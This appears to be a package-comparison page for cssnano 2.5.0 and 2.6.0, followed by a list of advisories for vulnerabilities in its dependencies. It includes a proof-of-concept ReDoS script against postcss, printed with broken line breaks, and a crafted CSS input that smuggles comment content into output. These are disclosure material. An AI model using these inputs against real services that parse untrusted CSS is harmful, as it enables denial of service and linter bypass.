Cssnano, a modular CSS minifier built on the PostCSS ecosystem, saw a release of version 2.6.0 on August 20, 2015, following closely after version 2.5.0 released on August 19, 2015. Both versions share a common foundation, utilizing dependencies like postcss, css-list, and autoprefixer-core to optimize CSS code. Developers leveraging cssnano benefit from its modular architecture, allowing for customized minification workflows. While the core functionality remains consistent, the key difference between the two versions lies within the dependency updates. Specifically, postcss-merge-rules was bumped from version 1.3.4 to 1.3.5 in the newer release. This seemingly minor version change could potentially include bug fixes, performance improvements, or new features within the postcss-merge-rules plugin, which handles merging CSS rules for optimal compression.
For developers, this means that upgrading to cssnano 2.6.0 ensures they are using the latest iteration of the rule merging plugin, potentially leading to slightly better minification results or a more stable experience. Both versions include devDependencies for testing and building, indicating a focus on code quality and maintainability. The very short time between releases suggests the team was likely very agile in incorporating feedback and improvements. Choosing between the two versions depends on the developer's risk tolerance and need for the absolute latest features and bug fixes within the postcss-merge-rules plugin.
All the vulnerabilities related to the version 2.6.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.